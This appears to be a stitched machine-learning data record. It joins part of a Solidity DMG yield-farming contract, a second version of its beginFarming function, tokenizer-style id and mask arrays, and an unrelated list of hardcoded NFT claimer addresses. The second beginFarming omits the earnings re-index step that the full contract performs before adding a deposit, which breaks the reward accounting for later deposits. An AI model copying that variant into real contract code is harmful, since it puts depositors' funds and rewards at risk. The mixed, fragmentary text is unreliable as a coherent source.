require(!_isFarmActive, "DMGYieldFarming: FARM_IS_ACTIVE"); _; } function initialize( address __dmgToken, address __guardian, address __dmmController, uint __dmgGrowthCoefficient, address[] memory __allowableTokens, address[] memory __underlyingTokens, uint8[] memory __tokenDecimals, uint16[] memory __points ) initializer public { DMGYieldFarmingData.initialize(__guardian); require( __allowableTokens.length == __points.length, "DMGYieldFarming::initialize: INVALID_LENGTH" ); require( __points.length == __underlyingTokens.length, "DMGYieldFarming::initialize: INVALID_LENGTH" ); require( __underlyingTokens.length == __tokenDecimals.length, "DMGYieldFarming::initialize: INVALID_LENGTH" ); _dmgToken = __dmgToken; _guardian = __guardian; _dmmController = __dmmController; _verifyDmgGrowthCoefficient(__dmgGrowthCoefficient); _dmgGrowthCoefficient = __dmgGrowthCoefficient; _seasonIndex = 1; // gas savings by starting it at 1. _isFarmActive = false; for (uint i = 0; i < __allowableTokens.length; i++) { require( __allowableTokens[i] != address(0), "DMGYieldFarming::initialize: INVALID_UNDERLYING" ); require( __underlyingTokens[i] != address(0), "DMGYieldFarming::initialize: INVALID_UNDERLYING" ); _supportedFarmTokens.push(__allowableTokens[i]); _tokenToIndexPlusOneMap[__allowableTokens[i]] = i + 1; _tokenToUnderlyingTokenMap[__allowableTokens[i]] = __underlyingTokens[i]; _tokenToDecimalsMap[__allowableTokens[i]] = __tokenDecimals[i]; _verifyPoints(__points[i]); _tokenToRewardPointMap[__allowableTokens[i]] = __points[i]; } } // //////////////////// // Admin Functions // //////////////////// function approveGloballyTrustedProxy( address __proxy, bool __isTrusted ) public nonReentrant onlyOwnerOrGuardian { _globalProxyToIsTrustedMap[__proxy] = __isTrusted; emit GlobalProxySet(__proxy, __isTrusted); } function isGloballyTrustedProxy( address __proxy ) external view returns (bool) { return _globalProxyToIsTrustedMap[__proxy]; } function addAllowableToken( address __token, address __underlyingToken, uint8 __underlyingTokenDecimals, uint16 __points ) public nonReentrant onlyOwner { uint index = _tokenToIndexPlusOneMap[__token]; require( index == 0, "DMGYieldFarming::addAllowableToken: TOKEN_ALREADY_SUPPORTED" ); _tokenToIndexPlusOneMap[__token] = _supportedFarmTokens.push(__token); _tokenToRewardPointMap[__token] = __points; _tokenToDecimalsMap[__token] = __underlyingTokenDecimals; emit TokenAdded(__token, __underlyingToken, __underlyingTokenDecimals, __points); } function removeAllowableToken( address __token ) public nonReentrant farmIsNotActive onlyOwner { uint index = _tokenToIndexPlusOneMap[__token]; require( index != 0, "DMGYieldFarming::removeAllowableToken: TOKEN_NOT_SUPPORTED" ); _tokenToIndexPlusOneMap[__token] = 0; _tokenToRewardPointMap[__token] = 0; delete _supportedFarmTokens[index - 1]; emit TokenRemoved(__token); } function setRewardPointsByToken( address __token, uint16 __points ) public nonReentrant onlyOwner { _verifyPoints(__points); _tokenToRewardPointMap[__token] = __points; emit RewardPointsSet(__token, __points); } function setDmgGrowthCoefficient( uint __dmgGrowthCoefficient ) public nonReentrant onlyOwnerOrGuardian { _verifyDmgGrowthCoefficient(__dmgGrowthCoefficient); _dmgGrowthCoefficient = __dmgGrowthCoefficient; emit DmgGrowthCoefficientSet(__dmgGrowthCoefficient); } function beginFarmingSeason( uint __dmgAmount ) public onlyOwnerOrGuardian nonReentrant { require(!_isFarmActive, "DMGYieldFarming::beginFarmingSeason: FARM_ALREADY_ACTIVE"); _seasonIndex += 1; _isFarmActive = true; IERC20(_dmgToken).safeTransferFrom(msg.sender, address(this), __dmgAmount); emit FarmSeasonBegun(_seasonIndex, __dmgAmount); } function endActiveFarmingSeason( address __dustRecipient ) public nonReentrant { uint dmgBalance = IERC20(_dmgToken).balanceOf(address(this)); // Anyone can end the farm if the DMG balance has been drawn down to 0. require( dmgBalance == 0 || msg.sender == owner() || msg.sender == _guardian, "DMGYieldFarming::endActiveFarmingSeason: FARM_ACTIVE_OR_INVALID_SENDER" ); _isFarmActive = false; if (dmgBalance > 0) { IERC20(_dmgToken).safeTransfer(__dustRecipient, dmgBalance); } emit FarmSeasonEnd(_seasonIndex, __dustRecipient, dmgBalance); } // //////////////////// // Misc Functions // //////////////////// function getFarmTokens() external view returns (address[] memory) { return _supportedFarmTokens; } function isSupportedToken(address __token) external view returns (bool) { return _tokenToIndexPlusOneMap[__token] > 0; } function isFarmActive() external view returns (bool) { return _isFarmActive; } function guardian() external view returns (address) { return _guardian; } function dmgToken() external view returns (address) { return _dmgToken; } function dmgGrowthCoefficient() external view returns (uint) { return _dmgGrowthCoefficient; } function getRewardPointsByToken( address __token ) public view returns (uint16) { uint16 rewardPoints = _tokenToRewardPointMap[__token]; return rewardPoints == 0 ? POINTS_FACTOR : rewardPoints; } function getTokenDecimalsByToken( address __token ) external view returns (uint8) { return _tokenToDecimalsMap[__token]; } function getTokenIndexPlusOneByToken( address __token ) external view returns (uint) { return _tokenToIndexPlusOneMap[__token]; } // //////////////////// // User Functions // //////////////////// function approve( address __spender, bool __isTrusted ) public { _userToSpenderToIsApprovedMap[msg.sender][__spender] = __isTrusted; emit Approval(msg.sender, __spender, __isTrusted); } function isApproved( address __user, address __spender ) external view returns (bool) { return _userToSpenderToIsApprovedMap[__user][__spender]; } function beginFarming( address __user, address __funder, address __token, uint __amount ) public farmIsActive requireIsFarmToken(__token) isSpenderApproved(__user) nonReentrant { require( __funder == msg.sender || __funder == __user, "DMGYieldFarmingV1::beginFarming: INVALID_FUNDER" ); if (__amount > 0) { // In case the __user is reusing a non-zero balance they had before the start of this farm. IERC20(__token).safeTransferFrom(__funder, address(this), __amount); } // We reindex before adding to the __user's balance, because the indexing process takes the __user's CURRENT // balance and applies their earnings, so we can account for new deposits. _reindexEarningsByTimestamp(__user, __token); if (__amount > 0) { _addressToTokenToBalanceMap[__user][__token] = _addressToTokenToBalanceMap[__user][__token].add(__amount); } emit BeginFarming(__user, __token, __amount); } function endFarmingByToken( address __user, address __recipient, address __token ) public farmIsActive requireIsFarmToken(__token) isSpenderApproved(__user) nonReentrant returns (uint, uint) { uint balance = _addressToTokenToBalanceMap[__user][__token]; require(balance > 0, "DMGYieldFarming::endFarmingByToken: ZERO_BALANCE"); uint earnedDmgAmount = _getTotalRewardBalanceByUserAndToken(__user, __token, _seasonIndex); require(earnedDmgAmount > 0, "DMGYieldFarming::endFarmingByToken: ZERO_EARNED"); address dmg = _dmgToken; uint contractDmgBalance = IERC20(dmg).balanceOf(address(this)); _endFarmingByToken(__user, __recipient, __token, balance, earnedDmgAmount, contractDmgBalance); earnedDmgAmount = _transferDmgOut(__recipient, earnedDmgAmount, dmg, contractDmgBalance); return (balance, earnedDmgAmount); } function withdrawAllWhenOutOfSeason( address __user, address __recipient ) public farmIsNotActive isSpenderApproved(__user) nonReentrant { address[] memory farmTokens = _supportedFarmTokens; for (uint i = 0; i < farmTokens.length; i++) { _withdrawByTokenWhenOutOfSeason(__user, __recipient, farmTokens[i]); } } function withdrawByTokenWhenOutOfSeason( address __user, address __recipient, address __token ) isSpenderApproved(__user) nonReentrant public returns (uint) { require( !_isFarmActive || _tokenToIndexPlusOneMap[__token] == 0, "DMGYieldFarmingV1::withdrawByTokenWhenOutOfSeason: FARM_ACTIVE_OR_TOKEN_SUPPORTED" ); return _withdrawByTokenWhenOutOfSeason(__user, __recipient, __token); } function getRewardBalanceByOwner( address __owner ) external view returns (uint) { if (_isFarmActive) { return _getTotalRewardBalanceByUser(__owner, _seasonIndex); } else { return 0; } } function getRewardBalanceByOwnerAndToken( address __owner, address __token ) external view returns (uint) { if (_isFarmActive) { return _getTotalRewardBalanceByUserAndToken(__owner, __token, _seasonIndex); } else { return 0; } } function balanceOf( address __owner, address __token ) external view returns (uint) { return _addressToTokenToBalanceMap[__owner][__token]; } function getMostRecentDepositTimestampByOwnerAndToken( address __owner, address __token ) external view returns (uint64) { if (_isFarmActive) { return _seasonIndexToUserToTokenToDepositTimestampMap[_seasonIndex][__owner][__token]; } else { return 0; } } function getMostRecentIndexedDmgEarnedByOwnerAndToken( address __owner, address __token ) external view returns (uint) { if (_isFarmActive) { return _seasonIndexToUserToTokenToEarnedDmgAmountMap[_seasonIndex][__owner][__token]; } else { return 0; } } function getMostRecentBlockTimestamp() external view returns (uint64) { return uint64(block.timestamp); } // //////////////////// // Internal Functions // //////////////////// /** * @return The dollar value of `tokenAmount`, formatted as a number with 18 decimal places */ function _getUsdValueByTokenAndTokenAmount( address __token, uint __tokenAmount ) internal view returns (uint) { uint8 decimals = _tokenToDecimalsMap[__token]; address underlyingToken = _tokenToUnderlyingTokenMap[__token]; __tokenAmount = __tokenAmount .mul(IERC20(underlyingToken).balanceOf(__token)) /* For Uniswap pools, underlying tokens are held in the pool's contract. */ .div(IERC20(__token).totalSupply(), "DMGYieldFarmingV1::_getUsdValueByTokenAndTokenAmount: INVALID_TOTAL_SUPPLY") .mul(2) /* The __user deposits effectively 2x the amount, to account for both sides of the pool. Assuming the pool is at (or close to it) equilibrium, this 2x suffices as an estimate */; if (decimals < 18) { __tokenAmount = __tokenAmount.mul((10 ** (18 - uint(decimals)))); } else if (decimals > 18) { __tokenAmount = __tokenAmount.div((10 ** (uint(decimals) - 18))); } return IDmmController(_dmmController).underlyingTokenValuator().getTokenValue( underlyingToken, __tokenAmount ); } /** * @dev Transfers the __user's `__token` balance out of this contract, re-indexes the balance for the __token to be zero. */ function _endFarmingByToken( address __user, address __recipient, address __token, uint __tokenBalance, uint __earnedDmgAmount, uint __contractDmgBalance ) internal { IERC20(__token).safeTransfer(__recipient, __tokenBalance); _addressToTokenToBalanceMap[__user][__token] = _addressToTokenToBalanceMap[__user][__token].sub(__tokenBalance); _seasonIndexToUserToTokenToEarnedDmgAmountMap[_seasonIndex][__user][__token] = 0; _seasonIndexToUserToTokenToDepositTimestampMap[_seasonIndex][__user][__token] = uint64(block.timestamp); if (__earnedDmgAmount > __contractDmgBalance) { __earnedDmgAmount = __contractDmgBalance; } emit EndFarming(__user, __token, __tokenBalance, __earnedDmgAmount); } function _withdrawByTokenWhenOutOfSeason( address __user, address __recipient, address __token ) internal returns (uint) { uint amount = _addressToTokenToBalanceMap[__user][__token]; if (amount > 0) { _addressToTokenToBalanceMap[__user][__token] = 0; IERC20(__token).safeTransfer(__recipient, amount); } emit WithdrawOutOfSeason(__user, __token, __recipient, amount); return amount; } function _reindexEarningsByTimestamp( address __user, address __token ) internal { uint64 previousIndexTimestamp = _seasonIndexToUserToTokenToDepositTimestampMap[_seasonIndex][__user][__token]; if (previousIndexTimestamp != 0) { uint dmgEarnedAmount = _getUnindexedRewardsByUserAndToken(__user, __token, previousIndexTimestamp); if (dmgEarnedAmount > 0) { _seasonIndexToUserToTokenToEarnedDmgAmountMap[_seasonIndex][__user][__token] = _seasonIndexToUserToTokenToEarnedDmgAmountMap[_seasonIndex][__user][__token].add(dmgEarnedAmount); } } _seasonIndexToUserToTokenToDepositTimestampMap[_seasonIndex][__user][__token] = uint64(block.timestamp); } function _getTotalRewardBalanceByUser( address __owner, uint __seasonIndex ) internal view returns (uint) { address[] memory supportedFarmTokens = _supportedFarmTokens; uint totalDmgEarned = 0; for (uint i = 0; i < supportedFarmTokens.length; i++) { totalDmgEarned = totalDmgEarned.add(_getTotalRewardBalanceByUserAndToken(__owner, supportedFarmTokens[i], __seasonIndex)); } return totalDmgEarned; } function _getUnindexedRewardsByUserAndToken( address __owner, address __token, uint64 __previousIndexTimestamp ) internal view returns (uint) { uint balance = _addressToTokenToBalanceMap[__owner][__token]; if (balance > 0 && __previousIndexTimestamp > 0) { uint usdValue = _getUsdValueByTokenAndTokenAmount(__token, balance); uint16 points = getRewardPointsByToken(__token); return _calculateRewardBalance( usdValue, points, _dmgGrowthCoefficient, block.timestamp, __previousIndexTimestamp ); } else { return 0; } } function _getTotalRewardBalanceByUserAndToken( address __owner, address __token, uint __seasonIndex ) internal view returns (uint) { // The proceeding mapping contains the aggregate of the indexed earned amounts. uint64 previousIndexTimestamp = _seasonIndexToUserToTokenToDepositTimestampMap[__seasonIndex][__owner][__token]; return _getUnindexedRewardsByUserAndToken(__owner, __token, previousIndexTimestamp) .add(_seasonIndexToUserToTokenToEarnedDmgAmountMap[__seasonIndex][__owner][__token]); } function _verifyDmgGrowthCoefficient( uint __dmgGrowthCoefficient ) internal pure { require( __dmgGrowthCoefficient > 0, "DMGYieldFarming::_verifyDmgGrowthCoefficient: INVALID_GROWTH_COEFFICIENT" ); } function _verifyPoints( uint16 __points ) internal pure { require( __points > 0, "DMGYieldFarming::_verifyPoints: INVALID_POINTS" ); } function _transferDmgOut( address __recipient, uint __amount, address __dmg, uint __contractDmgBalance ) internal returns (uint) { if (__contractDmgBalance < __amount) { IERC20(__dmg).safeTransfer(__recipient, __contractDmgBalance); return __contractDmgBalance; } else { IERC20(__dmg).safeTransfer(__recipient, __amount); return __amount; } } function _calculateRewardBalance( uint __usdValue, uint16 __points, uint __dmgGrowthCoefficient, uint __currentTimestamp, uint __previousIndexTimestamp ) internal pure returns (uint) { if (__usdValue == 0) { return 0; } else { // The number returned here has 18 decimal places (same as USD value), which is the same number as DMG. // Perfect. return __currentTimestamp.sub(__previousIndexTimestamp) // elapsed time .mul(__dmgGrowthCoefficient) .mul(__points) .mul(__usdValue) .div(POINTS_FACTOR) .div(DMG_GROWTH_COEFFICIENT_FACTOR); } } }
In case the __user is reusing a non-zero balance they had before the start of this farm.
function beginFarming( address __user, address __funder, address __token, uint __amount ) public farmIsActive requireIsFarmToken(__token) isSpenderApproved(__user) nonReentrant { require( __funder == msg.sender || __funder == __user, "DMGYieldFarmingV1::beginFarming: INVALID_FUNDER" ); if (__amount > 0) { IERC20(__token).safeTransferFrom(__funder, address(this), __amount); } if (__amount > 0) { _addressToTokenToBalanceMap[__user][__token] = _addressToTokenToBalanceMap[__user][__token].add(__amount); } emit BeginFarming(__user, __token, __amount); }
7,215,733
[ 1, 382, 648, 326, 1001, 1355, 353, 283, 9940, 279, 1661, 17, 7124, 11013, 2898, 9323, 1865, 326, 787, 434, 333, 284, 4610, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2376, 42, 4610, 310, 12, 203, 3639, 1758, 1001, 1355, 16, 203, 3639, 1758, 1001, 74, 9341, 16, 203, 3639, 1758, 1001, 2316, 16, 203, 3639, 2254, 1001, 8949, 203, 565, 262, 203, 565, 1071, 203, 565, 284, 4610, 2520, 3896, 203, 565, 2583, 2520, 42, 4610, 1345, 12, 972, 2316, 13, 203, 565, 11604, 1302, 264, 31639, 12, 972, 1355, 13, 203, 565, 1661, 426, 8230, 970, 288, 203, 3639, 2583, 12, 203, 5411, 1001, 74, 9341, 422, 1234, 18, 15330, 747, 1001, 74, 9341, 422, 1001, 1355, 16, 203, 5411, 315, 16125, 43, 16348, 42, 4610, 310, 58, 21, 2866, 10086, 42, 4610, 310, 30, 10071, 67, 42, 31625, 6, 203, 3639, 11272, 203, 203, 3639, 309, 261, 972, 8949, 405, 374, 13, 288, 203, 5411, 467, 654, 39, 3462, 12, 972, 2316, 2934, 4626, 5912, 1265, 12, 972, 74, 9341, 16, 1758, 12, 2211, 3631, 1001, 8949, 1769, 203, 3639, 289, 203, 203, 203, 3639, 309, 261, 972, 8949, 405, 374, 13, 288, 203, 5411, 389, 2867, 774, 1345, 774, 13937, 863, 63, 972, 1355, 6362, 972, 2316, 65, 273, 389, 2867, 774, 1345, 774, 13937, 863, 63, 972, 1355, 6362, 972, 2316, 8009, 1289, 12, 972, 8949, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 14323, 42, 4610, 310, 12, 972, 1355, 16, 1001, 2316, 16, 1001, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
claimers[0xEB079Ee381FC821B809F6110cCF7a8439C7A6870] = 0; // seq: 0 -> tkn_id: 0 claimers[0xcBD56A71a02fA7AA01bF1c94c0AeB2828Bebdc0A] = 1; // seq: 1 -> tkn_id: 1 claimers[0x9E1fDAB0FE4141fe269060f098bc7076d248cE7B] = 2; // seq: 2 -> tkn_id: 2 claimers[0x33aEA8f43D9685683b236B20a1818aFcD48204cD] = 3; // seq: 3 -> tkn_id: 3 claimers[0xFD289c26cEF8BB89A76252d9F4617cf54ce4EeBD] = 4; // seq: 4 -> tkn_id: 4 claimers[0x04bfcB7b6bc81361F14c1E2C7592d712e3b9f456] = 5; // seq: 5 -> tkn_id: 5 claimers[0x47E51859134f7d7F7379B1AEcD17a19924025A10] = 6; // seq: 6 -> tkn_id: 6 claimers[0x557159300478941E61cb60A46340F8100C590A56] = 7; // seq: 7 -> tkn_id: 7 claimers[0x7Ed273A361D6bb16833f0E563C313e205738112f] = 8; // seq: 8 -> tkn_id: 8 claimers[0x010594cA1B98ffEd9dFE3d15b749f8BaE3F21C1B] = 9; // seq: 9 -> tkn_id: 9 claimers[0x27221550A0ab5487e79460cd80C3E2aFDB48134e] = 10; // seq: 10 -> tkn_id: 10 claimers[0xF3920288e9DCCFED1AE5a05E466d5da2289062FC] = 11; // seq: 11 -> tkn_id: 11 claimers[0x8dca66E74007d8aD89aFC399d131030Ef29311eF] = 12; // seq: 12 -> tkn_id: 12 claimers[0x355B8F6059F5414AB1F69FcA34088c4aDC554B7f] = 13; // seq: 13 -> tkn_id: 13 claimers[0x020BE4338B750B85c73E598bF468E505A8eb76Ea] = 14; // seq: 14 -> tkn_id: 14 claimers[0x04B00a9F997799F4e265D8796a5F2d22C7A8b9AD] = 15; // seq: 15 -> tkn_id: 15 claimers[0xf8ab6312272E4f2eAB48ddcbD00D905e0E1bCb55] = 16; // seq: 16 -> tkn_id: 16 claimers[0x6B745dEfEE931Ee790DFe5333446eF454c45D8Cf] = 17; // seq: 17 -> tkn_id: 17 claimers[0xE770748e5781f171a0364fbd013188Bc0b33E72f] = 18; // seq: 18 -> tkn_id: 18 claimers[0xEa07596132df9F23Af112593dF0C27A0275d67E5] = 19; // seq: 19 -> tkn_id: 19 claimers[0xB22E58d1550D984b580c564E1dE7868521150988] = 20; // seq: 20 -> tkn_id: 20 claimers[0xf6EA8168a1D1D5d36f22436ad2030d397a616619] = 21; // seq: 21 -> tkn_id: 21 claimers[0x424E9cC4c00aD160c3f36b5471514a6C36a8d73e] = 22; // seq: 22 -> tkn_id: 22 claimers[0x365F34a3236c00823C7844885Ac6BF7a15430eD2] = 23; // seq: 23 -> tkn_id: 23 claimers[0x333C5dBa8179822056F2289BdeDe1B53A863F577] = 24; // seq: 24 -> tkn_id: 24 claimers[0xC9de959443935C3f3CC8E82889d5E80e8cD4a8a9] = 25; // seq: 25 -> tkn_id: 25 claimers[0xE2853A8Ba2e42e78cF8a6b063056F067307fB8f4] = 26; // seq: 26 -> tkn_id: 26 claimers[0xE8926AeBb36A046858D882309e7Aea367F8DB6Cd] = 27; // seq: 27 -> tkn_id: 27 claimers[0x7A48401B0543573D21dfEf15FC54a3E2F599CddF] = 28; // seq: 28 -> tkn_id: 28 claimers[0xd789A1a081553AF9407572711c1163F8A06b4d8F] = 29; // seq: 29 -> tkn_id: 29 claimers[0x498E96c727700a6B7aC2c4EfBd3E9a5DA4F0d137] = 30; // seq: 30 -> tkn_id: 30 claimers[0x7450Cc1b710Afd9B07EECAA19520735e1848479f] = 31; // seq: 31 -> tkn_id: 31 claimers[0x8637576EbDF8b8cb96de6a32C99cb8bDa61d2A11] = 32; // seq: 32 -> tkn_id: 32 claimers[0x77724E749eFB937CE0a78e16E1f1ec5979Cba55a] = 33; // seq: 33 -> tkn_id: 33 claimers[0x3b3D3491f9aE5125f156abA9380aFf62c201054C] = 34; // seq: 34 -> tkn_id: 34 claimers[0x782E60F18e4a3Fc21FF1409d4312ed769f70B1ef] = 35; // seq: 35 -> tkn_id: 35 claimers[0x05C4C65873473C13741c31De2d74005832A0A3d8] = 36; // seq: 36 -> tkn_id: 36 claimers[0xC5E57C099Ed08c882ea1ddF42AFf653e31Ac40df] = 37; // seq: 37 -> tkn_id: 37 claimers[0xe0dC972a92f3b463b43aB29b4F9C960983Bf948F] = 38; // seq: 38 -> tkn_id: 38 claimers[0x4348d40ee12932Aaf0e3412a3aC0598Eb22b96Ad] = 39; // seq: 39 -> tkn_id: 39 claimers[0x75Df0A4a6994AEAa458cfB15863131448fAeDf62] = 40; // seq: 40 -> tkn_id: 40 claimers[0x355e03d40211cc6b6D18ce52278e91566fF29839] = 41; // seq: 41 -> tkn_id: 41 claimers[0x9256EBe5cBcc67E28E2Cd981b835e02590aae7e4] = 42; // seq: 42 -> tkn_id: 42 claimers[0xFf0bAF087F2EE3BbcD2b8aA6560bd5B8F23D99B4] = 43; // seq: 43 -> tkn_id: 43 claimers[0x044bBDc90E1770abD48B6Ede37430b325B6A95EE] = 44; // seq: 44 -> tkn_id: 44 claimers[0x7060FE99b67e37c5fdA833edFe6135580876B996] = 45; // seq: 45 -> tkn_id: 45 claimers[0xaBfc1b7AFD818E1a44539b1EC5021C649b9Dded0] = 46; // seq: 46 -> tkn_id: 46 claimers[0xeec2f0f93e6BC7d13c5E61887aea39d233A0631f] = 47; // seq: 47 -> tkn_id: 47 claimers[0xF6d670C5C0B206f44E93dE811054F8C0b6e15905] = 48; // seq: 48 -> tkn_id: 48 claimers[0x679959449b608AF08d9419fE66D4e985c7d64D96] = 49; // seq: 49 -> tkn_id: 49 claimers[0xF5Dc9930f10Ca038De87C2FDdebe03C10aDeABDC] = 50; // seq: 50 -> tkn_id: 50 claimers[0x07587c046d4d4BD97C2d64EDBfAB1c1fE28A10E5] = 51; // seq: 51 -> tkn_id: 51 claimers[0xc674fFaD8082Aa238F15cd5a91aB1fd68aFEcEaE] = 52; // seq: 52 -> tkn_id: 52 claimers[0xF670B0Ce50B31B5BE40fD8cE84535a7D021775EF] = 53; // seq: 53 -> tkn_id: 53 claimers[0xEec4013a607D720989DB8F464361CdcF2cb7A7BD] = 54; // seq: 54 -> tkn_id: 54 claimers[0xA183B2f9d89367D935EC1Ebd1d33288a7113a971] = 55; // seq: 55 -> tkn_id: 55 claimers[0x42de824dA4C1Af884ebEdaA2352Fd4d4e00445DF] = 56; // seq: 56 -> tkn_id: 56 claimers[0x6F4440719569D61571f50c7e2B33b17E191b0654] = 57; // seq: 57 -> tkn_id: 57 claimers[0xBe671d9b29F218d711404D8F39f830eE14dAAF72] = 58; // seq: 58 -> tkn_id: 58 claimers[0xC7892093FEE029bF01D2b8C02098Cd4864bE3939] = 59; // seq: 59 -> tkn_id: 59 claimers[0x5a6541F3205D510ddB3B6dFD7b5fc5361C6fD47c] = 60; // seq: 60 -> tkn_id: 60 claimers[0xcBde85bF0b88791f902d4c18E4ad5F5CFAf76794] = 61; // seq: 61 -> tkn_id: 61 claimers[0x6A6181794DDDC287F54CF7393d81539Be2899cFd] = 62; // seq: 62 -> tkn_id: 62 claimers[0x70A2907B45A81f53b09976294B99b345B77fD134] = 63; // seq: 63 -> tkn_id: 63 claimers[0x171c3eEd74fcd74881f8Cb1de048C156D8c0EdE4] = 64; // seq: 64 -> tkn_id: 64 claimers[0x9d430D7338FF1E15f889ac90Ca992630F5150e64] = 65; // seq: 65 -> tkn_id: 65 claimers[0xd2C8CC3DcB9C79A4F85Bcad9EF4e0ccf4619d690] = 66; // seq: 66 -> tkn_id: 66 claimers[0x4e79317de3479dC23De1F1A9Ca664651bCAc8A43] = 67; // seq: 67 -> tkn_id: 67 claimers[0x35dF3706eD8779Fc4b401722754867304c11c95D] = 68; // seq: 68 -> tkn_id: 68 claimers[0xD29D862f28331705D432Dfab3f3491372E7295ad] = 69; // seq: 69 -> tkn_id: 69 claimers[0x889769e73f452E10B70414917c4d1fcd0F9a53b8] = 70; // seq: 70 -> tkn_id: 70 claimers[0x8a381C0bB4B2322a455897659cb34BC1395d3124] = 71; // seq: 71 -> tkn_id: 71 claimers[0x5319C3F016C7FC4b6770d4a8C313036da7F61290] = 72; // seq: 72 -> tkn_id: 72 claimers[0xC9D15F4E6f1b37CbF0E8068Ff84B5282edEF9707] = 73; // seq: 73 -> tkn_id: 73 claimers[0x826121D2a47c9D6e71Fd4FED082CECCc8A5381b1] = 74; // seq: 74 -> tkn_id: 74 claimers[0xb12F75B5F95022a54E6BbDd1086691635571911e] = 75; // seq: 75 -> tkn_id: 75 claimers[0xc9C56009DD643c2e6567E83F75A69C8Cc29AdeaC] = 76; // seq: 76 -> tkn_id: 76 claimers[0x40e00884ee94a5143cd9419d5DCA7Ede6730a793] = 77; // seq: 77 -> tkn_id: 77 claimers[0x78F3Aab3E918F2Bf8089EBC3698f78D3a273D6B2] = 78; // seq: 78 -> tkn_id: 78 claimers[0x7e6A5192cF2033c00efA844A353AFE1869bDF94B] = 79; // seq: 79 -> tkn_id: 79 claimers[0x3af46de2aCc78D4d4902a87618d28C0B194d7e63] = 80; // seq: 80 -> tkn_id: 80 claimers[0x0c84d74104Ac83AB98a80FB5e88F06137e842825] = 81; // seq: 81 -> tkn_id: 81 claimers[0x54280007118299877b466875B2aa6B59327DD93c] = 82; // seq: 82 -> tkn_id: 82 claimers[0x26122FE0a9966f1fA4897982782225037B3e490B] = 83; // seq: 83 -> tkn_id: 83 claimers[0xaCcE74f9dD9f3133f160417A8B554CD3Cc8a3B95] = 84; // seq: 84 -> tkn_id: 84 claimers[0xb081c44e699A895f126D09D362B1088826D12963] = 85; // seq: 85 -> tkn_id: 85 claimers[0x86c8283764C402C9E61d916096780014724C8fC9] = 86; // seq: 86 -> tkn_id: 86 claimers[0xC7857556C226b0e61bb18EB8Dd191bE7E1ee8Ad3] = 87; // seq: 87 -> tkn_id: 87 claimers[0xc45e08A07F491e778463460D52c592d11C3f761a] = 88; // seq: 88 -> tkn_id: 88 claimers[0x6F08fdC20c018121c6BE83218C95eBf42A45b571] = 89; // seq: 89 -> tkn_id: 89 claimers[0x073859cdA73a56d92a13DbE2B4e0B34dEF4756e8] = 90; // seq: 90 -> tkn_id: 90 claimers[0xA2531843629b036C6691A63bE5a91291902d42E0] = 91; // seq: 91 -> tkn_id: 91 claimers[0x4C697E1432cB49AC229241b5577284671Bae9d16] = 92; // seq: 92 -> tkn_id: 92 claimers[0x5973FFe2B9608e66A328c87c534e4Bb758618e73] = 93; // seq: 93 -> tkn_id: 93 claimers[0xcdB76A96af6eEC323a0fAC36D852b552f16C5a5F] = 94; // seq: 94 -> tkn_id: 94 claimers[0x23D623D3C6F334f55EF0DDF14FF0e05f1c88A76F] = 95; // seq: 95 -> tkn_id: 95 claimers[0x843D261B740F97BF31d09846F9d96dcC5Fd2a0D0] = 96; // seq: 96 -> tkn_id: 96 claimers[0x81cee999e0cf2DA5b420a5c02649C894F69C86bD] = 97; // seq: 97 -> tkn_id: 97 claimers[0x927a03B6606380147e38E88b1B491c7D29a62eEa] = 98; // seq: 98 -> tkn_id: 98 claimers[0x64F8eF34aC5Dc26410f2A1A0e2b4641189040231] = 99; // seq: 99 -> tkn_id: 99 claimers[0x1cFACa65bF36aE4548c9fB84d4d8A22bfBAA7B84] = 100; // seq: 100 -> tkn_id: 100 claimers[0xa069cD30b87e947Ba78e36e30E485e4926e4d176] = 101; // seq: 101 -> tkn_id: 101 claimers[0x9631200833a348641c5D08C5E146BBBFcD5367D2] = 102; // seq: 102 -> tkn_id: 102 claimers[0xb521154e8f8978f64567FE0FA7359Ab47f7363fA] = 103; // seq: 103 -> tkn_id: 103 claimers[0x9b534B88E83013B2fCE9Bb5BA813a6B96707cc8F] = 104; // seq: 104 -> tkn_id: 104 claimers[0xAaC5Ca3FEe00833ACC563FB41048179ACA8b9c07] = 105; // seq: 105 -> tkn_id: 105 claimers[0xeb0f5dce389A86a64c71F91eCE001067A9cD574E] = 106; // seq: 106 -> tkn_id: 106 claimers[0xA735E424fD55a18148BB5FE1f128Fbe30B7b56DB] = 107; // seq: 107 -> tkn_id: 107 claimers[0x85222954e2742ACe2F14f23E7694Ec1AbFD00F49] = 108; // seq: 108 -> tkn_id: 108 claimers[0x601379eF00F1879F13E4b498133b560b06bfeC36] = 109; // seq: 109 -> tkn_id: 109 claimers[0xD0c72d410D06C4C4A70Ff96beaB8432071F4d3B8] = 110; // seq: 110 -> tkn_id: 110 